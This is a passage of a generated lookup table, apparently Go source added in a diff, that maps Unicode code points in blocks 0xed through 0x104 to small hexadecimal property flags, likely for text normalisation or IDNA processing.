0x00c3, 0x3b3b: 0x00c3, + 0x3b3c: 0x00c3, 0x3b3d: 0x00c3, 0x3b3e: 0x00c3, 0x3b3f: 0x00c0, + // Block 0xed, offset 0x3b40 + 0x3b40: 0x00c5, 0x3b41: 0x00c0, 0x3b42: 0x00c0, 0x3b43: 0x00c0, 0x3b44: 0x00c0, 0x3b45: 0x0080, + 0x3b46: 0x0080, 0x3b47: 0x0080, 0x3b48: 0x0080, 0x3b49: 0x00c3, 0x3b4a: 0x00c3, 0x3b4b: 0x00c3, + 0x3b4c: 0x00c3, 0x3b4d: 0x0080, 0x3b4e: 0x00c0, 0x3b4f: 0x00c3, 0x3b50: 0x00c0, 0x3b51: 0x00c0, + 0x3b52: 0x00c0, 0x3b53: 0x00c0, 0x3b54: 0x00c0, 0x3b55: 0x00c0, 0x3b56: 0x00c0, 0x3b57: 0x00c0, + 0x3b58: 0x00c0, 0x3b59: 0x00c0, 0x3b5a: 0x00c0, 0x3b5b: 0x0080, 0x3b5c: 0x00c0, 0x3b5d: 0x0080, + 0x3b5e: 0x0080, 0x3b5f: 0x0080, 0x3b61: 0x0080, 0x3b62: 0x0080, 0x3b63: 0x0080, + 0x3b64: 0x0080, 0x3b65: 0x0080, 0x3b66: 0x0080, 0x3b67: 0x0080, 0x3b68: 0x0080, 0x3b69: 0x0080, + 0x3b6a: 0x0080, 0x3b6b: 0x0080, 0x3b6c: 0x0080, 0x3b6d: 0x0080, 0x3b6e: 0x0080, 0x3b6f: 0x0080, + 0x3b70: 0x0080, 0x3b71: 0x0080, 0x3b72: 0x0080, 0x3b73: 0x0080, 0x3b74: 0x0080, + // Block 0xee, offset 0x3b80 + 0x3b80: 0x00c0, 0x3b81: 0x00c0, 0x3b82: 0x00c0, 0x3b83: 0x00c0, 0x3b84: 0x00c0, 0x3b85: 0x00c0, + 0x3b86: 0x00c0, 0x3b87: 0x00c0, 0x3b88: 0x00c0, 0x3b89: 0x00c0, 0x3b8a: 0x00c0, 0x3b8b: 0x00c0, + 0x3b8c: 0x00c0, 0x3b8d: 0x00c0, 0x3b8e: 0x00c0, 0x3b8f: 0x00c0, 0x3b90: 0x00c0, 0x3b91: 0x00c0, + 0x3b93: 0x00c0, 0x3b94: 0x00c0, 0x3b95: 0x00c0, 0x3b96: 0x00c0, 0x3b97: 0x00c0, + 0x3b98: 0x00c0, 0x3b99: 0x00c0, 0x3b9a: 0x00c0, 0x3b9b: 0x00c0, 0x3b9c: 0x00c0, 0x3b9d: 0x00c0, + 0x3b9e: 0x00c0, 0x3b9f: 0x00c0, 0x3ba0: 0x00c0, 0x3ba1: 0x00c0, 0x3ba2: 0x00c0, 0x3ba3: 0x00c0, + 0x3ba4: 0x00c0, 0x3ba5: 0x00c0, 0x3ba6: 0x00c0, 0x3ba7: 0x00c0, 0x3ba8: 0x00c0, 0x3ba9: 0x00c0, + 0x3baa: 0x00c0, 0x3bab: 0x00c0, 0x3bac: 0x00c0, 0x3bad: 0x00c0, 0x3bae: 0x00c0, 0x3baf: 0x00c3, + 0x3bb0: 0x00c3, 0x3bb1: 0x00c3, 0x3bb2: 0x00c0, 0x3bb3: 0x00c0, 0x3bb4: 0x00c3, 0x3bb5: 0x00c5, + 0x3bb6: 0x00c3, 0x3bb7: 0x00c3, 0x3bb8: 0x0080, 0x3bb9: 0x0080, 0x3bba: 0x0080, 0x3bbb: 0x0080, + 0x3bbc: 0x0080, 0x3bbd: 0x0080, 0x3bbe: 0x00c3, 0x3bbf: 0x00c0, + // Block 0xef, offset 0x3bc0 + 0x3bc0: 0x00c0, 0x3bc1: 0x00c3, + // Block 0xf0, offset 0x3c00 + 0x3c00: 0x00c0, 0x3c01: 0x00c0, 0x3c02: 0x00c0, 0x3c03: 0x00c0, 0x3c04: 0x00c0, 0x3c05: 0x00c0, + 0x3c06: 0x00c0, 0x3c08: 0x00c0, 0x3c0a: 0x00c0, 0x3c0b: 0x00c0, + 0x3c0c: 0x00c0, 0x3c0d: 0x00c0, 0x3c0f: 0x00c0, 0x3c10: 0x00c0, 0x3c11: 0x00c0, + 0x3c12: 0x00c0, 0x3c13: 0x00c0, 0x3c14: 0x00c0, 0x3c15: 0x00c0, 0x3c16: 0x00c0, 0x3c17: 0x00c0, + 0x3c18: 0x00c0, 0x3c19: 0x00c0, 0x3c1a: 0x00c0, 0x3c1b: 0x00c0, 0x3c1c: 0x00c0, 0x3c1d: 0x00c0, + 0x3c1f: 0x00c0, 0x3c20: 0x00c0, 0x3c21: 0x00c0, 0x3c22: 0x00c0, 0x3c23: 0x00c0, + 0x3c24: 0x00c0, 0x3c25: 0x00c0, 0x3c26: 0x00c0, 0x3c27: 0x00c0, 0x3c28: 0x00c0, 0x3c29: 0x0080, + 0x3c30: 0x00c0, 0x3c31: 0x00c0, 0x3c32: 0x00c0, 0x3c33: 0x00c0, 0x3c34: 0x00c0, 0x3c35: 0x00c0, + 0x3c36: 0x00c0, 0x3c37: 0x00c0, 0x3c38: 0x00c0, 0x3c39: 0x00c0, 0x3c3a: 0x00c0, 0x3c3b: 0x00c0, + 0x3c3c: 0x00c0, 0x3c3d: 0x00c0, 0x3c3e: 0x00c0, 0x3c3f: 0x00c0, + // Block 0xf1, offset 0x3c40 + 0x3c40: 0x00c0, 0x3c41: 0x00c0, 0x3c42: 0x00c0, 0x3c43: 0x00c0, 0x3c44: 0x00c0, 0x3c45: 0x00c0, + 0x3c46: 0x00c0, 0x3c47: 0x00c0, 0x3c48: 0x00c0, 0x3c49: 0x00c0, 0x3c4a: 0x00c0, 0x3c4b: 0x00c0, + 0x3c4c: 0x00c0, 0x3c4d: 0x00c0, 0x3c4e: 0x00c0, 0x3c4f: 0x00c0, 0x3c50: 0x00c0, 0x3c51: 0x00c0, + 0x3c52: 0x00c0, 0x3c53: 0x00c0, 0x3c54: 0x00c0, 0x3c55: 0x00c0, 0x3c56: 0x00c0, 0x3c57: 0x00c0, + 0x3c58: 0x00c0, 0x3c59: 0x00c0, 0x3c5a: 0x00c0, 0x3c5b: 0x00c0, 0x3c5c: 0x00c0, 0x3c5d: 0x00c0, + 0x3c5e: 0x00c0, 0x3c5f: 0x00c3, 0x3c60: 0x00c0, 0x3c61: 0x00c0, 0x3c62: 0x00c0, 0x3c63: 0x00c3, + 0x3c64: 0x00c3, 0x3c65: 0x00c3, 0x3c66: 0x00c3, 0x3c67: 0x00c3, 0x3c68: 0x00c3, 0x3c69: 0x00c3, + 0x3c6a: 0x00c6, + 0x3c70: 0x00c0, 0x3c71: 0x00c0, 0x3c72: 0x00c0, 0x3c73: 0x00c0, 0x3c74: 0x00c0, 0x3c75: 0x00c0, + 0x3c76: 0x00c0, 0x3c77: 0x00c0, 0x3c78: 0x00c0, 0x3c79: 0x00c0, + // Block 0xf2, offset 0x3c80 + 0x3c80: 0x00c3, 0x3c81: 0x00c3, 0x3c82: 0x00c0, 0x3c83: 0x00c0, 0x3c85: 0x00c0, + 0x3c86: 0x00c0, 0x3c87: 0x00c0, 0x3c88: 0x00c0, 0x3c89: 0x00c0, 0x3c8a: 0x00c0, 0x3c8b: 0x00c0, + 0x3c8c: 0x00c0, 0x3c8f: 0x00c0, 0x3c90: 0x00c0, + 0x3c93: 0x00c0, 0x3c94: 0x00c0, 0x3c95: 0x00c0, 0x3c96: 0x00c0, 0x3c97: 0x00c0, + 0x3c98: 0x00c0, 0x3c99: 0x00c0, 0x3c9a: 0x00c0, 0x3c9b: 0x00c0, 0x3c9c: 0x00c0, 0x3c9d: 0x00c0, + 0x3c9e: 0x00c0, 0x3c9f: 0x00c0, 0x3ca0: 0x00c0, 0x3ca1: 0x00c0, 0x3ca2: 0x00c0, 0x3ca3: 0x00c0, + 0x3ca4: 0x00c0, 0x3ca5: 0x00c0, 0x3ca6: 0x00c0, 0x3ca7: 0x00c0, 0x3ca8: 0x00c0, + 0x3caa: 0x00c0, 0x3cab: 0x00c0, 0x3cac: 0x00c0, 0x3cad: 0x00c0, 0x3cae: 0x00c0, 0x3caf: 0x00c0, + 0x3cb0: 0x00c0, 0x3cb2: 0x00c0, 0x3cb3: 0x00c0, 0x3cb5: 0x00c0, + 0x3cb6: 0x00c0, 0x3cb7: 0x00c0, 0x3cb8: 0x00c0, 0x3cb9: 0x00c0, 0x3cbb: 0x00c3, + 0x3cbc: 0x00c3, 0x3cbd: 0x00c0, 0x3cbe: 0x00c0, 0x3cbf: 0x00c0, + // Block 0xf3, offset 0x3cc0 + 0x3cc0: 0x00c3, 0x3cc1: 0x00c0, 0x3cc2: 0x00c0, 0x3cc3: 0x00c0, 0x3cc4: 0x00c0, + 0x3cc7: 0x00c0, 0x3cc8: 0x00c0, 0x3ccb: 0x00c0, + 0x3ccc: 0x00c0, 0x3ccd: 0x00c5, 0x3cd0: 0x00c0, + 0x3cd7: 0x00c0, + 0x3cdd: 0x00c0, + 0x3cde: 0x00c0, 0x3cdf: 0x00c0, 0x3ce0: 0x00c0, 0x3ce1: 0x00c0, 0x3ce2: 0x00c0, 0x3ce3: 0x00c0, + 0x3ce6: 0x00c3, 0x3ce7: 0x00c3, 0x3ce8: 0x00c3, 0x3ce9: 0x00c3, + 0x3cea: 0x00c3, 0x3ceb: 0x00c3, 0x3cec: 0x00c3, + 0x3cf0: 0x00c3, 0x3cf1: 0x00c3, 0x3cf2: 0x00c3, 0x3cf3: 0x00c3, 0x3cf4: 0x00c3, + // Block 0xf4, offset 0x3d00 + 0x3d00: 0x00c0, 0x3d01: 0x00c0, 0x3d02: 0x00c0, 0x3d03: 0x00c0, 0x3d04: 0x00c0, 0x3d05: 0x00c0, + 0x3d06: 0x00c0, 0x3d07: 0x00c0, 0x3d08: 0x00c0, 0x3d09: 0x00c0, 0x3d0a: 0x00c0, 0x3d0b: 0x00c0, + 0x3d0c: 0x00c0, 0x3d0d: 0x00c0, 0x3d0e: 0x00c0, 0x3d0f: 0x00c0, 0x3d10: 0x00c0, 0x3d11: 0x00c0, + 0x3d12: 0x00c0, 0x3d13: 0x00c0, 0x3d14: 0x00c0, 0x3d15: 0x00c0, 0x3d16: 0x00c0, 0x3d17: 0x00c0, + 0x3d18: 0x00c0, 0x3d19: 0x00c0, 0x3d1a: 0x00c0, 0x3d1b: 0x00c0, 0x3d1c: 0x00c0, 0x3d1d: 0x00c0, + 0x3d1e: 0x00c0, 0x3d1f: 0x00c0, 0x3d20: 0x00c0, 0x3d21: 0x00c0, 0x3d22: 0x00c0, 0x3d23: 0x00c0, + 0x3d24: 0x00c0, 0x3d25: 0x00c0, 0x3d26: 0x00c0, 0x3d27: 0x00c0, 0x3d28: 0x00c0, 0x3d29: 0x00c0, + 0x3d2a: 0x00c0, 0x3d2b: 0x00c0, 0x3d2c: 0x00c0, 0x3d2d: 0x00c0, 0x3d2e: 0x00c0, 0x3d2f: 0x00c0, + 0x3d30: 0x00c0, 0x3d31: 0x00c0, 0x3d32: 0x00c0, 0x3d33: 0x00c0, 0x3d34: 0x00c0, 0x3d35: 0x00c0, + 0x3d36: 0x00c0, 0x3d37: 0x00c0, 0x3d38: 0x00c3, 0x3d39: 0x00c3, 0x3d3a: 0x00c3, 0x3d3b: 0x00c3, + 0x3d3c: 0x00c3, 0x3d3d: 0x00c3, 0x3d3e: 0x00c3, 0x3d3f: 0x00c3, + // Block 0xf5, offset 0x3d40 + 0x3d40: 0x00c0, 0x3d41: 0x00c0, 0x3d42: 0x00c6, 0x3d43: 0x00c3, 0x3d44: 0x00c3, 0x3d45: 0x00c0, + 0x3d46: 0x00c3, 0x3d47: 0x00c0, 0x3d48: 0x00c0, 0x3d49: 0x00c0, 0x3d4a: 0x00c0, 0x3d4b: 0x0080, + 0x3d4c: 0x0080, 0x3d4d: 0x0080, 0x3d4e: 0x0080, 0x3d4f: 0x0080, 0x3d50: 0x00c0, 0x3d51: 0x00c0, + 0x3d52: 0x00c0, 0x3d53: 0x00c0, 0x3d54: 0x00c0, 0x3d55: 0x00c0, 0x3d56: 0x00c0, 0x3d57: 0x00c0, + 0x3d58: 0x00c0, 0x3d59: 0x00c0, 0x3d5a: 0x0080, 0x3d5b: 0x0080, 0x3d5d: 0x0080, + 0x3d5e: 0x00c3, 0x3d5f: 0x00c0, 0x3d60: 0x00c0, 0x3d61: 0x00c0, + // Block 0xf6, offset 0x3d80 + 0x3d80: 0x00c0, 0x3d81: 0x00c0, 0x3d82: 0x00c0, 0x3d83: 0x00c0, 0x3d84: 0x00c0, 0x3d85: 0x00c0, + 0x3d86: 0x00c0, 0x3d87: 0x00c0, 0x3d88: 0x00c0, 0x3d89: 0x00c0, 0x3d8a: 0x00c0, 0x3d8b: 0x00c0, + 0x3d8c: 0x00c0, 0x3d8d: 0x00c0, 0x3d8e: 0x00c0, 0x3d8f: 0x00c0, 0x3d90: 0x00c0, 0x3d91: 0x00c0, + 0x3d92: 0x00c0, 0x3d93: 0x00c0, 0x3d94: 0x00c0, 0x3d95: 0x00c0, 0x3d96: 0x00c0, 0x3d97: 0x00c0, + 0x3d98: 0x00c0, 0x3d99: 0x00c0, 0x3d9a: 0x00c0, 0x3d9b: 0x00c0, 0x3d9c: 0x00c0, 0x3d9d: 0x00c0, + 0x3d9e: 0x00c0, 0x3d9f: 0x00c0, 0x3da0: 0x00c0, 0x3da1: 0x00c0, 0x3da2: 0x00c0, 0x3da3: 0x00c0, + 0x3da4: 0x00c0, 0x3da5: 0x00c0, 0x3da6: 0x00c0, 0x3da7: 0x00c0, 0x3da8: 0x00c0, 0x3da9: 0x00c0, + 0x3daa: 0x00c0, 0x3dab: 0x00c0, 0x3dac: 0x00c0, 0x3dad: 0x00c0, 0x3dae: 0x00c0, 0x3daf: 0x00c0, + 0x3db0: 0x00c0, 0x3db1: 0x00c0, 0x3db2: 0x00c0, 0x3db3: 0x00c3, 0x3db4: 0x00c3, 0x3db5: 0x00c3, + 0x3db6: 0x00c3, 0x3db7: 0x00c3, 0x3db8: 0x00c3, 0x3db9: 0x00c0, 0x3dba: 0x00c3, 0x3dbb: 0x00c0, + 0x3dbc: 0x00c0, 0x3dbd: 0x00c0, 0x3dbe: 0x00c0, 0x3dbf: 0x00c3, + // Block 0xf7, offset 0x3dc0 + 0x3dc0: 0x00c3, 0x3dc1: 0x00c0, 0x3dc2: 0x00c6, 0x3dc3: 0x00c3, 0x3dc4: 0x00c0, 0x3dc5: 0x00c0, + 0x3dc6: 0x0080, 0x3dc7: 0x00c0, + 0x3dd0: 0x00c0, 0x3dd1: 0x00c0, + 0x3dd2: 0x00c0, 0x3dd3: 0x00c0, 0x3dd4: 0x00c0, 0x3dd5: 0x00c0, 0x3dd6: 0x00c0, 0x3dd7: 0x00c0, + 0x3dd8: 0x00c0, 0x3dd9: 0x00c0, + // Block 0xf8, offset 0x3e00 + 0x3e00: 0x00c0, 0x3e01: 0x00c0, 0x3e02: 0x00c0, 0x3e03: 0x00c0, 0x3e04: 0x00c0, 0x3e05: 0x00c0, + 0x3e06: 0x00c0, 0x3e07: 0x00c0, 0x3e08: 0x00c0, 0x3e09: 0x00c0, 0x3e0a: 0x00c0, 0x3e0b: 0x00c0, + 0x3e0c: 0x00c0, 0x3e0d: 0x00c0, 0x3e0e: 0x00c0, 0x3e0f: 0x00c0, 0x3e10: 0x00c0, 0x3e11: 0x00c0, + 0x3e12: 0x00c0, 0x3e13: 0x00c0, 0x3e14: 0x00c0, 0x3e15: 0x00c0, 0x3e16: 0x00c0, 0x3e17: 0x00c0, + 0x3e18: 0x00c0, 0x3e19: 0x00c0, 0x3e1a: 0x00c0, 0x3e1b: 0x00c0, 0x3e1c: 0x00c0, 0x3e1d: 0x00c0, + 0x3e1e: 0x00c0, 0x3e1f: 0x00c0, 0x3e20: 0x00c0, 0x3e21: 0x00c0, 0x3e22: 0x00c0, 0x3e23: 0x00c0, + 0x3e24: 0x00c0, 0x3e25: 0x00c0, 0x3e26: 0x00c0, 0x3e27: 0x00c0, 0x3e28: 0x00c0, 0x3e29: 0x00c0, + 0x3e2a: 0x00c0, 0x3e2b: 0x00c0, 0x3e2c: 0x00c0, 0x3e2d: 0x00c0, 0x3e2e: 0x00c0, 0x3e2f: 0x00c0, + 0x3e30: 0x00c0, 0x3e31: 0x00c0, 0x3e32: 0x00c3, 0x3e33: 0x00c3, 0x3e34: 0x00c3, 0x3e35: 0x00c3, + 0x3e38: 0x00c0, 0x3e39: 0x00c0, 0x3e3a: 0x00c0, 0x3e3b: 0x00c0, + 0x3e3c: 0x00c3, 0x3e3d: 0x00c3, 0x3e3e: 0x00c0, 0x3e3f: 0x00c6, + // Block 0xf9, offset 0x3e40 + 0x3e40: 0x00c3, 0x3e41: 0x0080, 0x3e42: 0x0080, 0x3e43: 0x0080, 0x3e44: 0x0080, 0x3e45: 0x0080, + 0x3e46: 0x0080, 0x3e47: 0x0080, 0x3e48: 0x0080, 0x3e49: 0x0080, 0x3e4a: 0x0080, 0x3e4b: 0x0080, + 0x3e4c: 0x0080, 0x3e4d: 0x0080, 0x3e4e: 0x0080, 0x3e4f: 0x0080, 0x3e50: 0x0080, 0x3e51: 0x0080, + 0x3e52: 0x0080, 0x3e53: 0x0080, 0x3e54: 0x0080, 0x3e55: 0x0080, 0x3e56: 0x0080, 0x3e57: 0x0080, + 0x3e58: 0x00c0, 0x3e59: 0x00c0, 0x3e5a: 0x00c0, 0x3e5b: 0x00c0, 0x3e5c: 0x00c3, 0x3e5d: 0x00c3, + // Block 0xfa, offset 0x3e80 + 0x3e80: 0x00c0, 0x3e81: 0x00c0, 0x3e82: 0x00c0, 0x3e83: 0x00c0, 0x3e84: 0x00c0, 0x3e85: 0x00c0, + 0x3e86: 0x00c0, 0x3e87: 0x00c0, 0x3e88: 0x00c0, 0x3e89: 0x00c0, 0x3e8a: 0x00c0, 0x3e8b: 0x00c0, + 0x3e8c: 0x00c0, 0x3e8d: 0x00c0, 0x3e8e: 0x00c0, 0x3e8f: 0x00c0, 0x3e90: 0x00c0, 0x3e91: 0x00c0, + 0x3e92: 0x00c0, 0x3e93: 0x00c0, 0x3e94: 0x00c0, 0x3e95: 0x00c0, 0x3e96: 0x00c0, 0x3e97: 0x00c0, + 0x3e98: 0x00c0, 0x3e99: 0x00c0, 0x3e9a: 0x00c0, 0x3e9b: 0x00c0, 0x3e9c: 0x00c0, 0x3e9d: 0x00c0, + 0x3e9e: 0x00c0, 0x3e9f: 0x00c0, 0x3ea0: 0x00c0, 0x3ea1: 0x00c0, 0x3ea2: 0x00c0, 0x3ea3: 0x00c0, + 0x3ea4: 0x00c0, 0x3ea5: 0x00c0, 0x3ea6: 0x00c0, 0x3ea7: 0x00c0, 0x3ea8: 0x00c0, 0x3ea9: 0x00c0, + 0x3eaa: 0x00c0, 0x3eab: 0x00c0, 0x3eac: 0x00c0, 0x3ead: 0x00c0, 0x3eae: 0x00c0, 0x3eaf: 0x00c0, + 0x3eb0: 0x00c0, 0x3eb1: 0x00c0, 0x3eb2: 0x00c0, 0x3eb3: 0x00c3, 0x3eb4: 0x00c3, 0x3eb5: 0x00c3, + 0x3eb6: 0x00c3, 0x3eb7: 0x00c3, 0x3eb8: 0x00c3, 0x3eb9: 0x00c3, 0x3eba: 0x00c3, 0x3ebb: 0x00c0, + 0x3ebc: 0x00c0, 0x3ebd: 0x00c3, 0x3ebe: 0x00c0, 0x3ebf: 0x00c6, + // Block 0xfb, offset 0x3ec0 + 0x3ec0: 0x00c3, 0x3ec1: 0x0080, 0x3ec2: 0x0080, 0x3ec3: 0x0080, 0x3ec4: 0x00c0, + 0x3ed0: 0x00c0, 0x3ed1: 0x00c0, + 0x3ed2: 0x00c0, 0x3ed3: 0x00c0, 0x3ed4: 0x00c0, 0x3ed5: 0x00c0, 0x3ed6: 0x00c0, 0x3ed7: 0x00c0, + 0x3ed8: 0x00c0, 0x3ed9: 0x00c0, + 0x3ee0: 0x0080, 0x3ee1: 0x0080, 0x3ee2: 0x0080, 0x3ee3: 0x0080, + 0x3ee4: 0x0080, 0x3ee5: 0x0080, 0x3ee6: 0x0080, 0x3ee7: 0x0080, 0x3ee8: 0x0080, 0x3ee9: 0x0080, + 0x3eea: 0x0080, 0x3eeb: 0x0080, 0x3eec: 0x0080, + // Block 0xfc, offset 0x3f00 + 0x3f00: 0x00c0, 0x3f01: 0x00c0, 0x3f02: 0x00c0, 0x3f03: 0x00c0, 0x3f04: 0x00c0, 0x3f05: 0x00c0, + 0x3f06: 0x00c0, 0x3f07: 0x00c0, 0x3f08: 0x00c0, 0x3f09: 0x00c0, 0x3f0a: 0x00c0, 0x3f0b: 0x00c0, + 0x3f0c: 0x00c0, 0x3f0d: 0x00c0, 0x3f0e: 0x00c0, 0x3f0f: 0x00c0, 0x3f10: 0x00c0, 0x3f11: 0x00c0, + 0x3f12: 0x00c0, 0x3f13: 0x00c0, 0x3f14: 0x00c0, 0x3f15: 0x00c0, 0x3f16: 0x00c0, 0x3f17: 0x00c0, + 0x3f18: 0x00c0, 0x3f19: 0x00c0, 0x3f1a: 0x00c0, 0x3f1b: 0x00c0, 0x3f1c: 0x00c0, 0x3f1d: 0x00c0, + 0x3f1e: 0x00c0, 0x3f1f: 0x00c0, 0x3f20: 0x00c0, 0x3f21: 0x00c0, 0x3f22: 0x00c0, 0x3f23: 0x00c0, + 0x3f24: 0x00c0, 0x3f25: 0x00c0, 0x3f26: 0x00c0, 0x3f27: 0x00c0, 0x3f28: 0x00c0, 0x3f29: 0x00c0, + 0x3f2a: 0x00c0, 0x3f2b: 0x00c3, 0x3f2c: 0x00c0, 0x3f2d: 0x00c3, 0x3f2e: 0x00c0, 0x3f2f: 0x00c0, + 0x3f30: 0x00c3, 0x3f31: 0x00c3, 0x3f32: 0x00c3, 0x3f33: 0x00c3, 0x3f34: 0x00c3, 0x3f35: 0x00c3, + 0x3f36: 0x00c5, 0x3f37: 0x00c3, 0x3f38: 0x00c0, 0x3f39: 0x0080, + // Block 0xfd, offset 0x3f40 + 0x3f40: 0x00c0, 0x3f41: 0x00c0, 0x3f42: 0x00c0, 0x3f43: 0x00c0, 0x3f44: 0x00c0, 0x3f45: 0x00c0, + 0x3f46: 0x00c0, 0x3f47: 0x00c0, 0x3f48: 0x00c0, 0x3f49: 0x00c0, + // Block 0xfe, offset 0x3f80 + 0x3f80: 0x00c0, 0x3f81: 0x00c0, 0x3f82: 0x00c0, 0x3f83: 0x00c0, 0x3f84: 0x00c0, 0x3f85: 0x00c0, + 0x3f86: 0x00c0, 0x3f87: 0x00c0, 0x3f88: 0x00c0, 0x3f89: 0x00c0, 0x3f8a: 0x00c0, 0x3f8b: 0x00c0, + 0x3f8c: 0x00c0, 0x3f8d: 0x00c0, 0x3f8e: 0x00c0, 0x3f8f: 0x00c0, 0x3f90: 0x00c0, 0x3f91: 0x00c0, + 0x3f92: 0x00c0, 0x3f93: 0x00c0, 0x3f94: 0x00c0, 0x3f95: 0x00c0, 0x3f96: 0x00c0, 0x3f97: 0x00c0, + 0x3f98: 0x00c0, 0x3f99: 0x00c0, 0x3f9a: 0x00c0, 0x3f9d: 0x00c3, + 0x3f9e: 0x00c3, 0x3f9f: 0x00c3, 0x3fa0: 0x00c0, 0x3fa1: 0x00c0, 0x3fa2: 0x00c3, 0x3fa3: 0x00c3, + 0x3fa4: 0x00c3, 0x3fa5: 0x00c3, 0x3fa6: 0x00c0, 0x3fa7: 0x00c3, 0x3fa8: 0x00c3, 0x3fa9: 0x00c3, + 0x3faa: 0x00c3, 0x3fab: 0x00c6, + 0x3fb0: 0x00c0, 0x3fb1: 0x00c0, 0x3fb2: 0x00c0, 0x3fb3: 0x00c0, 0x3fb4: 0x00c0, 0x3fb5: 0x00c0, + 0x3fb6: 0x00c0, 0x3fb7: 0x00c0, 0x3fb8: 0x00c0, 0x3fb9: 0x00c0, 0x3fba: 0x0080, 0x3fbb: 0x0080, + 0x3fbc: 0x0080, 0x3fbd: 0x0080, 0x3fbe: 0x0080, 0x3fbf: 0x0080, + // Block 0xff, offset 0x3fc0 + 0x3fc0: 0x00c0, 0x3fc1: 0x00c0, 0x3fc2: 0x00c0, 0x3fc3: 0x00c0, 0x3fc4: 0x00c0, 0x3fc5: 0x00c0, + 0x3fc6: 0x00c0, + // Block 0x100, offset 0x4000 + 0x4000: 0x00c0, 0x4001: 0x00c0, 0x4002: 0x00c0, 0x4003: 0x00c0, 0x4004: 0x00c0, 0x4005: 0x00c0, + 0x4006: 0x00c0, 0x4007: 0x00c0, 0x4008: 0x00c0, 0x4009: 0x00c0, 0x400a: 0x00c0, 0x400b: 0x00c0, + 0x400c: 0x00c0, 0x400d: 0x00c0, 0x400e: 0x00c0, 0x400f: 0x00c0, 0x4010: 0x00c0, 0x4011: 0x00c0, + 0x4012: 0x00c0, 0x4013: 0x00c0, 0x4014: 0x00c0, 0x4015: 0x00c0, 0x4016: 0x00c0, 0x4017: 0x00c0, + 0x4018: 0x00c0, 0x4019: 0x00c0, 0x401a: 0x00c0, 0x401b: 0x00c0, 0x401c: 0x00c0, 0x401d: 0x00c0, + 0x401e: 0x00c0, 0x401f: 0x00c0, 0x4020: 0x00c0, 0x4021: 0x00c0, 0x4022: 0x00c0, 0x4023: 0x00c0, + 0x4024: 0x00c0, 0x4025: 0x00c0, 0x4026: 0x00c0, 0x4027: 0x00c0, 0x4028: 0x00c0, 0x4029: 0x00c0, + 0x402a: 0x00c0, 0x402b: 0x00c0, 0x402c: 0x00c0, 0x402d: 0x00c0, 0x402e: 0x00c0, 0x402f: 0x00c3, + 0x4030: 0x00c3, 0x4031: 0x00c3, 0x4032: 0x00c3, 0x4033: 0x00c3, 0x4034: 0x00c3, 0x4035: 0x00c3, + 0x4036: 0x00c3, 0x4037: 0x00c3, 0x4038: 0x00c0, 0x4039: 0x00c6, 0x403a: 0x00c3, 0x403b: 0x0080, + // Block 0x101, offset 0x4040 + 0x4060: 0x00c0, 0x4061: 0x00c0, 0x4062: 0x00c0, 0x4063: 0x00c0, + 0x4064: 0x00c0, 0x4065: 0x00c0, 0x4066: 0x00c0, 0x4067: 0x00c0, 0x4068: 0x00c0, 0x4069: 0x00c0, + 0x406a: 0x00c0, 0x406b: 0x00c0, 0x406c: 0x00c0, 0x406d: 0x00c0, 0x406e: 0x00c0, 0x406f: 0x00c0, + 0x4070: 0x00c0, 0x4071: 0x00c0, 0x4072: 0x00c0, 0x4073: 0x00c0, 0x4074: 0x00c0, 0x4075: 0x00c0, + 0x4076: 0x00c0, 0x4077: 0x00c0, 0x4078: 0x00c0, 0x4079: 0x00c0, 0x407a: 0x00c0, 0x407b: 0x00c0, + 0x407c: 0x00c0, 0x407d: 0x00c0, 0x407e: 0x00c0, 0x407f: 0x00c0, + // Block 0x102, offset 0x4080 + 0x4080: 0x00c0, 0x4081: 0x00c0, 0x4082: 0x00c0, 0x4083: 0x00c0, 0x4084: 0x00c0, 0x4085: 0x00c0, + 0x4086: 0x00c0, 0x4087: 0x00c0, 0x4088: 0x00c0, 0x4089: 0x00c0, 0x408a: 0x00c0, 0x408b: 0x00c0, + 0x408c: 0x00c0, 0x408d: 0x00c0, 0x408e: 0x00c0, 0x408f: 0x00c0, 0x4090: 0x00c0, 0x4091: 0x00c0, + 0x4092: 0x00c0, 0x4093: 0x00c0, 0x4094: 0x00c0, 0x4095: 0x00c0, 0x4096: 0x00c0, 0x4097: 0x00c0, + 0x4098: 0x00c0, 0x4099: 0x00c0, 0x409a: 0x00c0, 0x409b: 0x00c0, 0x409c: 0x00c0, 0x409d: 0x00c0, + 0x409e: 0x00c0, 0x409f: 0x00c0, 0x40a0: 0x00c0, 0x40a1: 0x00c0, 0x40a2: 0x00c0, 0x40a3: 0x00c0, + 0x40a4: 0x00c0, 0x40a5: 0x00c0, 0x40a6: 0x00c0, 0x40a7: 0x00c0, 0x40a8: 0x00c0, 0x40a9: 0x00c0, + 0x40aa: 0x0080, 0x40ab: 0x0080, 0x40ac: 0x0080, 0x40ad: 0x0080, 0x40ae: 0x0080, 0x40af: 0x0080, + 0x40b0: 0x0080, 0x40b1: 0x0080, 0x40b2: 0x0080, + 0x40bf: 0x00c0, + // Block 0x103, offset 0x40c0 + 0x40c0: 0x00c0, 0x40c1: 0x00c0, 0x40c2: 0x00c0, 0x40c3: 0x00c0, 0x40c4: 0x00c0, 0x40c5: 0x00c0, + 0x40c6: 0x00c0, 0x40c9: 0x00c0, + 0x40cc: 0x00c0, 0x40cd: 0x00c0, 0x40ce: 0x00c0, 0x40cf: 0x00c0, 0x40d0: 0x00c0, 0x40d1: 0x00c0, + 0x40d2: 0x00c0, 0x40d3: 0x00c0, 0x40d5: 0x00c0, 0x40d6: 0x00c0, + 0x40d8: 0x00c0, 0x40d9: 0x00c0, 0x40da: 0x00c0, 0x40db: 0x00c0, 0x40dc: 0x00c0, 0x40dd: 0x00c0, + 0x40de: 0x00c0, 0x40df: 0x00c0, 0x40e0: 0x00c0, 0x40e1: 0x00c0, 0x40e2: 0x00c0, 0x40e3: 0x00c0, + 0x40e4: 0x00c0, 0x40e5: 0x00c0, 0x40e6: 0x00c0, 0x40e7: 0x00c0, 0x40e8: 0x00c0, 0x40e9: 0x00c0, + 0x40ea: 0x00c0, 0x40eb: 0x00c0, 0x40ec: 0x00c0, 0x40ed: 0x00c0, 0x40ee: 0x00c0, 0x40ef: 0x00c0, + 0x40f0: 0x00c0, 0x40f1: 0x00c0, 0x40f2: 0x00c0, 0x40f3: 0x00c0, 0x40f4: 0x00c0, 0x40f5: 0x00c0, + 0x40f7: 0x00c0, 0x40f8: 0x00c0, 0x40fb: 0x00c3, + 0x40fc: 0x00c3, 0x40fd: 0x00c5, 0x40fe: 0x00c6, 0x40ff: 0x00c0, + // Block 0x104, offset 0x4100 + 0x4100: 0x00c0, 0x4101: 0x00c0, 0x4102: 0x00c0, 0x4103: 0x00c3, 0x4104: 